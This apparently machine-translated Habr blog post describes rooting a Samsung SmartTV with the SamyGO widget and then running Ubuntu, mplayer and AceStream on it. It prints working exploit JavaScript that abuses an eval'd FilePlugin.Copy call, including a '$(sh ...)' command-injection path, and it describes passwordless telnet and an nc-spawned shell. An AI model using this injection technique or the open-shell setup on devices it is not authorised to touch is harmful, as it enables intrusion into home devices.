Geekly Articles each Day
📜 ⬆️ ⬇️

Launch Ubuntu and watch Torrent and Torrent-TV straight on Samsung SmartTV

image
After reading the comment from awoland in yesterday’s article How SmartTV forgot about the main thing, I immediately got to try to get root-rights and telnet / ssh on my TV. It turns out that everything is ready for this, and it is easier than ever!

It is enough to install SamyGo Widget , and he will do everything for you!

What does SamyGO give us?


')
# - * - DISCLAIMER - * -
Everything you do with your TV, you do at your own peril and risk. The author of this article is not responsible for your anal.

For my TV (E-series), I needed:
  1. Install Skype on TV and run it once
  2. Download SamyGo widget installer on USB flash drive
  3. Run it from a flash drive
  4. ???
  5. PROFIT!

How did they do it, demons?

Here is the installer script. :
Hidden text
var Main = { } var widgetAPI = new Common.API.Widget(); var tvKey = new Common.API.TVKeyValue(); var runf1=1; var runf2=1; var LabelString="Log: "; var usbPlugin; var FilePlugin; var nUSBCount; var commonFilePath; Main.onLoad = function() { alert("Main.onLoad()"); this.enableKeys(); widgetAPI.sendReadyEvent(); Func(); }; Main.onUnload = function() { }; Main.enableKeys = function() { document.getElementById("anchor").focus(); }; Main.keyDown = function() { var keyCode = event.keyCode; switch(keyCode) { case tvKey.KEY_RETURN: case tvKey.KEY_PANEL_RETURN: widgetAPI.sendReturnEvent(); break; case tvKey.KEY_RED: if(runf2==1) { runf2=0; Log (" Please Wait 20-30 sec...."); setTimeout("Func1(commonFilePath);",3000); } else Log('Activated yet!'); break; case tvKey.KEY_ENTER: case tvKey.KEY_PANEL_ENTER: if(runf1==1) { runf1=0; Log (" Please Wait 20-30 sec...."); setTimeout("Func1(commonFilePath);",3000); } else Log('Activated yet!'); break; default: alert("Unhandled key"); break; } }; function Log(Str) { var Label = document.getElementById("LogLabel"); LabelString = LabelString+Str+" "; widgetAPI.putInnerHTML(Label,LabelString); }; function sleep(ms) { ms += new Date().getTime(); while (new Date() < ms){} }; function Func() { usbPlugin = document.getElementById("pluginStorage"); FilePlugin = document.getElementById("pluginObjectFile"); nUSBCount = eval("usbPlugin.GetUSBListSize()"); var Param; var r1=0; var r2=0; var r3=0; Log("Found <b style='font-size:30px; color:green'>" + nUSBCount + "</b> USB devices"); for (var i = 0; i < nUSBCount; i++) { var nid1 = eval("usbPlugin.GetUSBDeviceID("+i+")"); var nid = parseInt(nid1); var VN = " Vendor Name = <b style='color:green'>" + eval("usbPlugin.GetUSBVendorName("+nid+")") + "</b>"; var MN = " Model Name = <b style='color:green'>" + eval("usbPlugin.GetUSBModelName("+nid+")") + "</b>"; nPartition = eval("usbPlugin.GetUSBPartitionNum("+nid+")"); for (var j = 0; j < nPartition; j++) { var mntPath = eval("usbPlugin.GetUSBMountPath("+nid+", "+j+")"); commonFilePath = '/dtv/usb/' + mntPath; Param = "FilePlugin.IsExistedPath(commonFilePath + '/InstallSamygo/data/SamyGO.zip')"; r1 = eval(Param); Param = "FilePlugin.IsExistedPath(commonFilePath + '/InstallSamygo/data/AutoStart')"; r2 = eval(Param); Param = "FilePlugin.IsExistedPath(commonFilePath + '/InstallSamygo/data/libSkype.so')"; r3 = eval(Param); if (r1 == 1 && r2 == 1 && r3 == 1) { Log("The installation files found on USB: " + commonFilePath + VN + MN); return; } else { Log("Some installation files not found on USB: " + commonFilePath + VN + MN); return; } } Log("The installation files not found on USB: error"); } }; function Func1(Path) { var r=0; var Param; var str =''; Param="FilePlugin.Copy ('"+ Path +"/InstallSamygo/data/AutoStart','/mtd_rwcommon/moip/engines/Skype/AutoStart')"; r = eval(Param); if (r==1) str = 'OK'; else str = 'No'; Log("Step1: " + str) Param="FilePlugin.Copy ('"+ Path +"/InstallSamygo/data/libSkype.so','/mtd_rwcommon/moip/engines/Skype/libSkype.so')"; r = eval(Param); if (r==1) str = 'OK'; else str = 'No'; Log("Step2: " + str); if(runf2==1) { Param="FilePlugin.Unzip('"+ Path +"/InstallSamygo/data/SamyGO.zip','/mtd_rwcommon/widgets/user/SamyGO/')"; r = eval(Param); if (r==1) str = 'OK'; else str = 'No'; Log("Step3: " + str); } Log("Now press exit and restart tv"); };

Vulnerability in FilePlugin.Copy function, called via eval, which allows you to copy anything anywhere. The script takes and copies the spoofed libSkype.so, which can only run another script, and installs the SamyGo widget itself.

So what about the SamyGo widget?
Hidden text
 var Main = { } var widgetAPI = new Common.API.Widget(); var tvKey = new Common.API.TVKeyValue(); Main.onLoad = function() { alert("Main.onLoad()"); widgetAPI.sendReadyEvent(); document.getElementById("anchor").focus(); var FilePlugin = document.getElementById("pluginObjectFile"); var Param1="FilePlugin.Copy (\"/proc/self/cmdline\", \"$(sh /mtd_rwcommon/widgets/user/SamyGO/data/run.sh)/tmp/cmdline\")"; eval(Param1); } Main.keyDown = function() { var keyCode = event.keyCode; alert("Main Key code : " + keyCode); switch (keyCode) { case tvKey.KEY_RETURN: break; } }

Well, it's all a gun! We can execute shell commands from the same function using the $ () - syntax.
run.sh installs busybox and other tinsel, mounts data.xfs, runs telnetd and nc, which starts sh when connected (if there are any problems with / dev / pts and you can’t connect to telnet) .

What's inside?

Inside we have a 2-core processor with ARMv7 architecture, with support for NEON, I believe, the Cortex-A8 family, MALI 400 video, 512MB of RAM, 2.6.35.13 kernel. In general, a rather typical “tablet” of 2012.
cat / proc / cpuinfo
 VDLinux#> cat /proc/cpuinfo Processor : ARMv7 Processor rev 0 (v7l) processor : 0 BogoMIPS : 1794.04 processor : 1 BogoMIPS : 1794.04 Features : swp half thumb fastmult vfp edsp neon vfpv3 CPU implementer : 0x41 CPU architecture: 7 CPU variant : 0x3 CPU part : 0xc09 CPU revision : 0 Hardware : amber3 Revision : 0000 Serial : 0000000000000000

The kernel supports SquashFS, FAT32, XFS, RFS (Samsung FS, FAT32 + logging), NTFS (Tuxera tntfs driver). There is support for modules, several FS modules are supplied in SamyGo, FUSE is being loaded, and, for example, ext2 / 3/4 is not, because there are no symbols in the kernel for them.

The most common X server with xf86-video-mali is running on TV, a 125 megabyte exeDSP file is responsible for the entire SmartTV (loaded into IDA PRO 17 minutes before the analysis started ), but the sound is more interesting: alsa is not, and it looks like exeDSP communicates with / dev / system directly.

What can I do?

Yes whatever. I am lazy, and I try once again not to cross-compile something, so I just took Ubuntu Core , created an XFS partition on a flash drive, unpacked Ubuntu and inserted it into TV. There were problems with the armhf-version (any unknown instruction, is it compiled with thumb2?), So I found 12.04 armel.
It remains only to insert the USB flash drive into the TV, connect via telnet and do:
 chroot /dtv/usb/sda1 /bin/bash

And we get a full ubuntu 12.04.
mount --bind does not work, so if you need proc and sys in chroot (and you will need it), use:
 mount -t sysfs sysfs ./sys mount -t proc proc ./proc


First of all, I, of course, put mplayer. And you know, it works! Slowly, of course, and from the conclusions only x11 works, but it shows! I watched yesterday's opening with subtitles and without sound;)


Screenshots, here, scrot'om removed:
image
image

I ask you to pay attention, I didn’t change the resolution of the screenshots, and, in fact, the resolution of the TV (at least at the X-server) is 1280 × 720!

Well, then I decided to put Ace Stream Engine and AceProxy to watch TV streams and Torrent right on TV. For this we need Python, because These two products are written on it. Since Ace Stream is not officially released for ARM, and indeed, its developers are somewhat wild , then we will take the unpacked version for Raspberry PI , and AceProxy from my repository

Actually, the necessary packages for Ace Stream are written in the link, and for AceProxy only python-gevent is needed. We start the whole thing, you can even open the AceProxy statistics page in the built-in TV browser:
image

Surprisingly, Ace Stream does not really load the processor (about 15% from the top), so it can be used on TV.
Now it remains only to take some player (nStreamLmod, for example) and make a playlist for AceProxy.

Something else?

This is all proof-of-concept. I did all this purely from short-term interest and, most likely, I will not continue further. However, if someone poddoet me how the work with sound, then you can watch videos with FLAC and Vorbis in MKV, just running them together.
Be careful with SamyGo. By default, it starts many services, and telnet access is performed without a password.
Successes!

Source: https://habr.com/ru/post/205762/

More articles:


All Articles